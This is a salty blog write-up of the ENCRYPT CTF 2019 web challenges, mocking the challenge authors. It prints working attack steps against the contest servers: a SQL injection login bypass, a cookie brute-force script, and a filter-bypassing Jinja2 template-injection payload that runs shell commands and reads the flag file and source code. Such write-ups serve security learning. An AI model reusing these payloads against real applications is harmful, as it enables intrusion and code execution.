ENCRYPT CTF 2019 - Salty Write-ups

Information#

CTF#

This write-up is not like the others, this one is more salty.

Warning for sensitive easily offended people, dont take all of it too seriously.

TL;DR: Did I learn something? No. Did I rage? Yes. Conclusion: bad CTF.

ENCRYPT CTF was one of the worst CTF of the year if not the one and it was mostly due to the very poor quality of the challenges.

50 - Sweeeeeet - Web#

Do you like sweets?

http://104.154.106.182:8080

author: codacker

Let's see what we have: curl http://104.154.106.182:8080

<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Hidden</title>
</head>

<body>
    <h2>Hey You, yes you!<br>are you looking for a flag, well it's not here bruh!<br>Try someplace else<h2>
</body>

</html>

The server ask us to set a cookie: Set-Cookie: FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D.

That's not the flag, and if we set it the server ask us to set: Set-Cookie: UID=f899139df5e1059396431415e770c6dd.

If we set it, we get back the first cookie.

$ curl 'http://104.154.106.182:8080/' --head
HTTP/1.1 200 OK
Date: Tue, 02 Apr 2019 21:47:17 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.3.3
Set-Cookie: UID=f899139df5e1059396431415e770c6dd; expires=Thu, 04-Apr-2019 21:47:17 GMT; Max-Age=172800
Content-Type: text/html; charset=UTF-8

$ curl 'http://104.154.106.182:8080/' -H 'Cookie: UID=f899139df5e1059396431415e770c6dd' --head
HTTP/1.1 200 OK
Date: Tue, 02 Apr 2019 21:47:59 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.3.3
Set-Cookie: FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D
Content-Type: text/html; charset=UTF-8

$ curl 'http://104.154.106.182:8080/' -H 'Cookie: FLAG=encryptCTF{y0u_c4nt_U53_m3}' --head
HTTP/1.1 200 OK
Date: Tue, 02 Apr 2019 21:49:21 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.3.3
Set-Cookie: UID=f899139df5e1059396431415e770c6dd; expires=Thu, 04-Apr-2019 21:49:21 GMT; Max-Age=172800
Content-Type: text/html; charset=UTF-8

$ curl 'http://104.154.106.182:8080/' -H 'Cookie: UID=f899139df5e1059396431415e770c6dd; FLAG=encryptCTF{y0u_c4nt_U53_m3}' --head
HTTP/1.1 200 OK
Date: Tue, 02 Apr 2019 21:49:12 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.3.3
Set-Cookie: FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D
Content-Type: text/html; charset=UTF-8

f899139df5e1059396431415e770c6dd = md5(100) so I tried to bruteforce the md5 of 1 to 1000 in bash:

#!/bin/bash

host='http://104.154.106.182:8080/'

for i in {1..1000}
do
  cookie=$(printf %s $i | md5sum | cut -c 1-32)
  # curl with HTTP header                       | capture only the cookie                | urldecode
  flag=$(curl $host -H "Cookie: UID=$cookie" --head -s | grep -oP 'FLAG=\K([a-zA-Z0-9\{\}%_]+)' | perl -pe 's/\%(\w\w)/chr hex $1/ge')
  if [ $flag != 'encryptCTF{y0u_c4nt_U53_m3}' ]
  then
    echo $flag
  fi
done

Until now it smells like a pure "Joy" guessing shitty-student-CTF-style challenge. Thx codacker, you made noraj raging.

One of my team mate (Pxmme) thought my script was going from 1 to 1000, but why not 0?

My one-liner solution:

curl http://104.154.106.182:8080/ -H "Cookie: UID=$(printf %s '0' | md5sum | cut -c 1-32)" --head -s | grep -oP 'FLAG=\K([a-zA-Z0-9\{\}%_]+)' | perl -pe 's/\%(\w\w)/chr hex $1/ge'

The flag was: encryptCTF{4lwa4y5_Ch3ck_7h3_c00ki3s}.

Why this challenge was bad:

  1. Semi-guessing needed for the 0
  2. md5 hash of 100 doesn't make sense
  3. Not realistic

50 - Slash Slash - Web#

//

Author: maskofmydisguise

We only have an archive, no website.

$ 7z e handout_slashslash.7z -oslash_slash
$ cd slash_slash
$ grep -ri encryptCTF ./
./application.py:FLAG = os.getenv("FLAG", "encryptCTF{}")
./application.py:@app.route('/encryptCTF', methods=["GET"])

Let's see this file cat ./application.py:

import os
from flask import Flask, render_template, jsonify

app = Flask(__name__)

'''
 secret_key using python3 secrets module
'''
app.secret_key = "9d367b3ba8e8654c6433379763e80c6e"

'''
Learn about virtualenv here:
https://www.youtube.com/watch?v=N5vscPTWKOk&list=PL-osiE80TeTt66h8cVpmbayBKlMTuS55y&index=7
'''

FLAG = os.getenv("FLAG", "encryptCTF{}")

@app.route('/')
def index():
        return render_template('index.html')

@app.route('/encryptCTF', methods=["GET"])
def getflag():
            return jsonify({
                'flag': FLAG
            })

if __name__ == '__main__':
    app.run(debug=False)

This is a python Flask web app, but we don't even care.

Learn about virtualenv here: is suggesting us to take a look at virtualenv.

Usually you activate a virtual environment with venv/bin/activate, so let's see this activate file:

$ tail -1 activate
# export $(echo RkxBRwo= | base64 -d)="ZW5jcnlwdENURntjb21tZW50c18mX2luZGVudGF0aW9uc19tYWtlc19qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg=="

Just get the flag:

$ printf %s 'RkxBRwo=' | base64 -d
FLAG
printf %s 'ZW5jcnlwdENURntjb21tZW50c18mX2luZGVudGF0aW9uc19tYWtlc19qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg==' | base64 -d
encryptCTF{comments_&_indentations_makes_johnny_a_good_programmer}

Note: this challenge was bad too. At least the author name is in the description and allow us to know who to blame: maskofmydisguise.

Why this challenge was bad:

  1. The archive is not representative of a flask app, what a mess is this code project with tons of garbage files around the true project. Author just added garbage so there is a lot of files and player won't read all of them manually. This aspect is not realistic at all.
  2. Why the commented export at the end of activate? Nobody touch this file IRL. This doesn't make any sense and it's 0% realistic.
  3. There is 0 infosec learning doing this challenge. Beginners can eventually learn about the existence of virtualenv but nothing about infosec.
  4. If this is about virtualenv so it is not about web at all even if this is around a Flask app. There not even static code analysis of the web app required. This challenge should have been categorized as a Misc challenge.

100 - vault - Web#

i heard you are good at breaking codes, can you crack this vault?

http://104.154.106.182:9090

author: codacker

There is an authentication form. You try a basic SQLi like admin ' OR 1=1-- - / whatever and you get a message Access granted and a QR-code (named flag.png) containing a youtube video link. This video is You've Been Trolled (The Musical).

So this is a bad beginning. Shame on you codacker again.

Let's see HTTP headers:

$ curl http://104.154.106.182:9090/login.php -X POST --data "username=admin' OR 1=1-- -&password=whatever&submit=submit" -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 104.154.106.182...
* TCP_NODELAY set
* Connected to 104.154.106.182 (104.154.106.182) port 9090 (#0)
> POST /login.php HTTP/1.1
> Host: 104.154.106.182:9090
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 58
> Content-Type: application/x-www-form-urlencoded
> 
* upload completely sent off: 58 out of 58 bytes
< HTTP/1.1 200 OK
< Date: Wed, 03 Apr 2019 19:36:12 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.3.3
< Set-Cookie: SESSIONID=ZW5jcnlwdENURntpX0g0dDNfaW5KM2M3aTBuNX0%3D
< Vary: Accept-Encoding
< Content-Length: 465
< Content-Type: text/html; charset=UTF-8
< 

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Login</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="css/main.css">
</head>

<body>
    <div class="main">
        <h1 class="heading">
            ACCESS GRANTED<br><img src="/flag.png" alt="flag"/>        </h1>
    </div>
</body>

The session cookie looks like base64.

$ printf %s 'ZW5jcnlwdENURntpX0g0dDNfaW5KM2M3aTBuNX0=' | base64 -d
encryptCTF{i_H4t3_inJ3c7i0n5}

Why this challenge was bad:

  1. Troll (this is not fun for players only for the author, you make people angry by doing that)
  2. Too easy / nothing to learn, because checking cookies is really the basic of the basic so if you don't already know that you know nothing about web security.

100 - Env - Web#

Einstein said, "time was relative, right?"

meme 1 meme 2

http://104.154.106.182:6060

Author: maskofmydisguise

$ curl -v http://104.154.106.182:6060/
*   Trying 104.154.106.182...
* TCP_NODELAY set
* Connected to 104.154.106.182 (104.154.106.182) port 6060 (#0)
> GET / HTTP/1.1
> Host: 104.154.106.182:6060
> User-Agent: curl/7.64.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: gunicorn/19.9.0
< Date: Wed, 03 Apr 2019 19:49:46 GMT
< Connection: close
< Content-Type: text/html; charset=utf-8
< Content-Length: 607
< 
<!DOCTYPE html>
<html>
<head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <meta name="description" content="My super totally awesome blog">
        <title>My super totally awesome blog</title>
        <style>
        #timing {
                margin: 50px 200px;
                height:400px;
                width: 200px;
        }
        </style>
</head>
<body>
        <img width="100%" src="/static/legendary.jpg">
        <img src="/static/ts1.jpg">
        <img src="/static/ts2.png">
        <img src="/static/ts3.jpg">
        <div id="timing">
                <img src="/static/timing.jpg">
        </div>
</body>
</html>

No user inputs nowhere. I guess it is about guessing and 0% realism again.

The 1st meme image is suggesting http://104.154.106.182:6060/home and http://104.154.106.182:6060/whatsthetime but that is useless.

The second image is suggesting about Flask, and giving the source code.

I tried some basic Flask path and files: http://exploreflask.com/en/latest/organizing.html

The title is also suggesting to check about Env http://exploreflask.com/en/latest/environment.html?highlight=env#what-to-keep-out-of-version-control

No git, mercurial or bazaar, no backup files ending with bck, old or ~, no *pyc files, etc.

dirsearch found me those available path:

[23:51:02] 200 -  353B  - /whatsthetime/0
[23:51:02] 200 -  353B  - /whatsthetime/00
[23:51:02] 200 -  353B  - /whatsthetime/01
[23:51:02] 200 -  353B  - /whatsthetime/02
[23:51:02] 200 -  353B  - /whatsthetime/04
[23:51:02] 200 -  353B  - /whatsthetime/03
[23:51:02] 200 -  353B  - /whatsthetime/05
[23:51:03] 200 -  353B  - /whatsthetime/06
[23:51:03] 200 -  353B  - /whatsthetime/07
[23:51:03] 200 -  353B  - /whatsthetime/08
[23:51:03] 200 -  353B  - /whatsthetime/09
[23:51:03] 200 -  353B  - /whatsthetime/1
[23:51:03] 200 -  353B  - /whatsthetime/10
[23:51:03] 200 -  353B  - /whatsthetime/11
[23:51:03] 200 -  353B  - /whatsthetime/12
[23:51:03] 200 -  353B  - /whatsthetime/13
[23:51:03] 200 -  353B  - /whatsthetime/14
[23:51:03] 200 -  353B  - /whatsthetime/16
[23:51:03] 200 -  353B  - /whatsthetime/15
[23:51:03] 200 -  353B  - /whatsthetime/17
[23:51:03] 200 -  353B  - /whatsthetime/18
[23:51:03] 200 -  353B  - /whatsthetime/19
[23:51:03] 200 -  353B  - /whatsthetime/1999
[23:51:03] 200 -  353B  - /whatsthetime/2
[23:51:03] 200 -  353B  - /whatsthetime/20
[23:51:03] 200 -  353B  - /whatsthetime/2000
[23:51:03] 200 -  353B  - /whatsthetime/2001
[23:51:03] 200 -  353B  - /whatsthetime/2002
[23:51:03] 200 -  353B  - /whatsthetime/2003
[23:51:03] 200 -  353B  - /whatsthetime/2004
[23:51:03] 200 -  353B  - /whatsthetime/2005
[23:51:03] 200 -  353B  - /whatsthetime/2006
[23:51:03] 200 -  353B  - /whatsthetime/2007
[23:51:03] 200 -  353B  - /whatsthetime/2008
[23:51:03] 200 -  353B  - /whatsthetime/2009
[23:51:04] 200 -  353B  - /whatsthetime/2010
[23:51:04] 200 -  353B  - /whatsthetime/2011
[23:51:04] 200 -  353B  - /whatsthetime/2012
[23:51:04] 200 -  353B  - /whatsthetime/2013
[23:51:04] 200 -  353B  - /whatsthetime/2014
[23:51:04] 200 -  353B  - /whatsthetime/2015
[23:51:04] 200 -  353B  - /whatsthetime/2016
[23:51:04] 200 -  353B  - /whatsthetime/2017
[23:51:04] 200 -  353B  - /whatsthetime/2018
[23:51:04] 200 -  353B  - /whatsthetime/2019
[23:51:05] 200 -  353B  - /whatsthetime/21
[23:51:05] 200 -  353B  - /whatsthetime/22
[23:51:05] 200 -  353B  - /whatsthetime/23
[23:51:05] 200 -  353B  - /whatsthetime/24
[23:51:05] 200 -  353B  - /whatsthetime/25
[23:51:05] 200 -  353B  - /whatsthetime/26
[23:51:05] 200 -  353B  - /whatsthetime/27
[23:51:05] 200 -  353B  - /whatsthetime/29
[23:51:05] 200 -  353B  - /whatsthetime/28
[23:51:05] 200 -  353B  - /whatsthetime/3
[23:51:05] 200 -  353B  - /whatsthetime/30
[23:51:05] 200 -  353B  - /whatsthetime/31
[23:51:05] 200 -  353B  - /whatsthetime/32
[23:51:05] 200 -  353B  - /whatsthetime/33
[23:51:05] 200 -  353B  - /whatsthetime/34
[23:51:06] 200 -  353B  - /whatsthetime/35
[23:51:06] 200 -  353B  - /whatsthetime/36
[23:51:06] 200 -  353B  - /whatsthetime/37
[23:51:06] 200 -  353B  - /whatsthetime/38
[23:51:06] 200 -  353B  - /whatsthetime/39
[23:51:06] 200 -  353B  - /whatsthetime/4
[23:51:06] 200 -  353B  - /whatsthetime/40
[23:51:06] 200 -  353B  - /whatsthetime/404
[23:51:06] 200 -  353B  - /whatsthetime/41
[23:51:06] 200 -  353B  - /whatsthetime/42
[23:51:06] 200 -  353B  - /whatsthetime/43
[23:51:06] 200 -  353B  - /whatsthetime/44
[23:51:06] 200 -  353B  - /whatsthetime/45
[23:51:06] 200 -  353B  - /whatsthetime/46
[23:51:06] 200 -  353B  - /whatsthetime/47
[23:51:06] 200 -  353B  - /whatsthetime/48
[23:51:06] 200 -  353B  - /whatsthetime/49
[23:51:06] 200 -  353B  - /whatsthetime/5
[23:51:06] 200 -  353B  - /whatsthetime/50
[23:51:06] 200 -  353B  - /whatsthetime/51
[23:51:06] 200 -  353B  - /whatsthetime/52
[23:51:06] 200 -  353B  - /whatsthetime/53
[23:51:06] 200 -  353B  - /whatsthetime/54
[23:51:06] 200 -  353B  - /whatsthetime/55
[23:51:06] 200 -  353B  - /whatsthetime/57
[23:51:06] 200 -  353B  - /whatsthetime/58
[23:51:06] 200 -  353B  - /whatsthetime/56
[23:51:06] 200 -  353B  - /whatsthetime/59
[23:51:06] 200 -  353B  - /whatsthetime/6
[23:51:06] 200 -  353B  - /whatsthetime/60
[23:51:06] 200 -  353B  - /whatsthetime/61
[23:51:06] 200 -  353B  - /whatsthetime/62
[23:51:06] 200 -  353B  - /whatsthetime/63
[23:51:06] 200 -  353B  - /whatsthetime/64
[23:51:06] 200 -  353B  - /whatsthetime/65
[23:51:06] 200 -  353B  - /whatsthetime/66
[23:51:07] 200 -  353B  - /whatsthetime/7
[23:51:07] 200 -  353B  - /whatsthetime/70
[23:51:07] 200 -  353B  - /whatsthetime/8
[23:51:07] 200 -  353B  - /whatsthetime/9
[23:51:07] 200 -  353B  - /whatsthetime/96
[23:51:07] 200 -  353B  - /whatsthetime/97

You can ask for whatever is numerical like http://104.154.106.182:6060/whatsthetime/04042019

A message is saying When you get the epoch time, just right.

By asking the right epoch time at the right time curl http://104.154.106.182:6060/whatsthetime/1554329130 we receive the JSON payload: {"flag":"encryptCTF{v1rtualenvs_4re_c00l}"}.

Wow maskofmydisguise, what a cancerous challenge, please never do that again.

Why this challenge was bad:

  1. It was underlying on so much guessing, was the worst web challenge so far.
  2. Not realistic, at all!
  3. Did you even learn something?

150 - repeaaaaaat - Web#

Can you repeaaaaaat?

http://104.154.106.182:5050

author: codacker

$ curl http://104.154.106.182:5050/

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>repeaaaaaat</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <script>
        function repeat() {
            for(var i=0; i<10; i++) {
            lol = document.createElement("img")
            lol.src = "/static/lol.png"
            var shit = document.getElementById('shit')
            shit.appendChild(lol)
            }
        }
    </script>
    </head>
    <body onscroll=repeat()>
        Hello,<div id="shit">
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
        </div> 
        <!-- L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ== -->
    </body>
</html>

Ok so we are already able to see the level of shit incoming. I don't know why i'm still playing the CTF at this point...

After the bunch of troll images, the unrealistic hint:

$ printf %s 'd2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK' |base64 -d
what_are_you_searching_for

Now we are reading to begin the guessing part. Do you see the pattern of shit used by codacker for all of his challenges?

After some guess I tried it as a path:

$ curl http://104.154.106.182:5050/what_are_you_searching_for 
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>FLAG</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="main.css">
    <script src="main.js"></script>
</head>
<body>
    <h1> aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj01ckFPeWg3WW1FYwo= </h1>
</body>
</html>

So he only know about base64 and trolls/memes?

You see this coming?

$ printf %s 'aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj01ckFPeWg3WW1FYwo=' | base64 -d
https://www.youtube.com/watch?v=5rAOyh7YmEc

A shitty video again, what a great hacker are you codacker.

I guess... no... I know that this video will be a troll... let's open it: oh no! the flag page was not a flag page and the video was not pointing to the flag but to Basement Jaxx - Where's Your Head At ( Official Video ) Rooty.

Now cen go deeper and increase our guessing power.

After all there was a script main.js but we can't download the script because of a 404 error.

It must be something about repeating something.

Let's see if http://104.154.106.182:5050/what_are_you_searching_for/what_are_you_searching_for gives something: no!

So let's try to ask the home page over and over again:

while [ true ]
do
  data=$(curl http://104.154.106.182:5050/ -s)
  echo $(echo $data | pcregrep -o '<!-- \K([a-zA-Z0-9+=]+)' | base64 -d)
done

Guessing paid.

We get something like that:

$ ./repeaaaaaat.sh
what_are_you_searching_for
/?secret=flag
what_are_you_searching_for
/lol_no_one_will_see_whats_here
what_are_you_searching_for
what_are_you_searching_for
/?secret=flag
what_are_you_searching_for
/lol_no_one_will_see_whats_here
what_are_you_searching_for
/lol_no_one_will_see_whats_here
/lol_no_one_will_see_whats_here
what_are_you_searching_for
/?secret=flag
/lol_no_one_will_see_whats_here
what_are_you_searching_for
/?secret=flag
/lol_no_one_will_see_whats_here
what_are_you_searching_for
/lol_no_one_will_see_whats_here
/?secret=flag
/lol_no_one_will_see_whats_here
/lol_no_one_will_see_whats_here
what_are_you_searching_for
what_are_you_searching_for
what_are_you_searching_for
/lol_no_one_will_see_whats_here
/?secret=flag
/?secret=flag
what_are_you_searching_for
what_are_you_searching_for
/lol_no_one_will_see_whats_here
/lol_no_one_will_see_whats_here
/?secret=flag
what_are_you_searching_for
/?secret=flag
$ curl 'http://104.154.106.182:5050/?secret=flag'

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>repeaaaaaat</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <script>
        function repeat() {
            for(var i=0; i<10; i++) {
            lol = document.createElement("img")
            lol.src = "/static/lol.png"
            var shit = document.getElementById('shit')
            shit.appendChild(lol)
            }
        }
    </script>
    </head>
    <body onscroll=repeat()>
        Hello,<div id="shit">
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
        </div> flag
        <!-- Lz9zZWNyZXQ9ZmxhZw== -->
    </body>
</html>

This is just writing flag on the page after the div and before the comment.

After tons of input fussing I found there was an SSTI.

There is no clue at all but this seems like a Jinja2 SSTI, maybe they put the Flask hint in the wrong challenge because the Flask hint in Env was useless:

$ curl 'http://104.154.106.182:5050/?secret=%7B%7B%20config.items()%20%7D%7D'

...
            <img src='/static/lol.png'>
        </div> dict_items([(&#39;ENV&#39;, &#39;production&#39;), (&#39;DEBUG&#39;, False), (&#39;TESTING&#39;, False), (&#39;PROPAGATE_EXCEPTIONS&#39;, None), (&#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;, None), (&#39;SECRET_KEY&#39;, &#39;cf49d97a5680998cbddbee283eeb03adbeda772b&#39;), (&#39;PERMANENT_SESSION_LIFETIME&#39;, datetime.timedelta(days=31)), (&#39;USE_X_SENDFILE&#39;, False), (&#39;SERVER_NAME&#39;, None), (&#39;APPLICATION_ROOT&#39;, &#39;/&#39;), (&#39;SESSION_COOKIE_NAME&#39;, &#39;session&#39;), (&#39;SESSION_COOKIE_DOMAIN&#39;, False), (&#39;SESSION_COOKIE_PATH&#39;, None), (&#39;SESSION_COOKIE_HTTPONLY&#39;, True), (&#39;SESSION_COOKIE_SECURE&#39;, False), (&#39;SESSION_COOKIE_SAMESITE&#39;, None), (&#39;SESSION_REFRESH_EACH_REQUEST&#39;, True), (&#39;MAX_CONTENT_LENGTH&#39;, None), (&#39;SEND_FILE_MAX_AGE_DEFAULT&#39;, datetime.timedelta(seconds=43200)), (&#39;TRAP_BAD_REQUEST_ERRORS&#39;, None), (&#39;TRAP_HTTP_EXCEPTIONS&#39;, False), (&#39;EXPLAIN_TEMPLATE_LOADING&#39;, False), (&#39;PREFERRED_URL_SCHEME&#39;, &#39;http&#39;), (&#39;JSON_AS_ASCII&#39;, True), (&#39;JSON_SORT_KEYS&#39;, True), (&#39;JSONIFY_PRETTYPRINT_REGULAR&#39;, False), (&#39;JSONIFY_MIMETYPE&#39;, &#39;application/json&#39;), (&#39;TEMPLATES_AUTO_RELOAD&#39;, None), (&#39;MAX_COOKIE_SIZE&#39;, 4093)])
        <!-- d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK -->
    </body>
</html>

I ended with RCE, for more info read my previous WU: https://blog.raw.pm/en/noxCTF-2018-write-ups/#634-python-for-fun-2-misc

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].popen("ls").read()

output:

application.py
flag.txt
requirements.txt
static
templates
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].popen("cat flag.txt").read()

output: encryptCTF{!nj3c7!0n5_4r3_b4D}

PS: yeah the paylaod can seems complex because there was filtering avoiding to use a more simple payload.

Why this challenge was bad:

  1. Big guessing about repeating the query to have the 3 hints
  2. Big guessing to find the SSTI
  3. Not realistic except having an SSTI
  4. Very few python app are sued in real life, most often they are Java or PHP, but I'm punctilious here. All challenges where about python and php because unskilled authors don't know anything else in there student life.

Why this challenge was not so bad:

  1. An SSTI to exploit
  2. A filter bypass to overcome

Bonus:

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].popen("cat application.py|base64").read()
from flask import Flask, render_template, request, render_template_string
import random

app = Flask(__name__)

app.secret_key = "cf49d97a5680998cbddbee283eeb03adbeda772b"

@app.route("/lol_no_one_will_see_whats_here")
def troll1():
    return render_template("troll1.html")

@app.route("/what_are_you_searching_for")
def troll2():
    return render_template("troll2.html")

@app.route("/", methods=["GET"])
def inject():
    hints = ["Lz9zZWNyZXQ9ZmxhZw==", "L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ==", 
             "d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK"];
    hint = hints[random.randint(0, len(hints)-1)]
    secret = request.args.get("secret", default="")
    template = """
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>repeaaaaaat</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <script>
        function repeat() {
            for(var i=0; i<10; i++) {
            lol = document.createElement("img")
            lol.src = "/static/lol.png"
            var shit = document.getElementById('shit')
            shit.appendChild(lol)
            }
        }
    </script>
    </head>
    <body onscroll=repeat()>
        Hello,<div id="shit">
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
        </div> %s
        <!-- %s -->
    </body>
</html>                         """ % (secret, hint)
    return render_template_string(template)


if __name__ == "__main__":
    app.run(debug=True)

Web#

Web challenge authors were clearly out-skilled to write challenges. I clearly lost my time doing this CTF. I'm not an isolated case, the feedback channel of the discord CTF server was literally for of complains about guessing and trolls.

I flagged all the web challenges, it is 3:34 AM, I must go to work tomorrow. No time for other shitty troll/guessing/meme categories. Again, I mostly did all the CTF alone, I don't even know why people call Rawsec a team when it is mostly an alias of noraj.

PS : after trash talking the challenge authors during the whole CTF I needed to be arrogant about my own team mates too. I wish you (reader) liked this salty write-up.

Share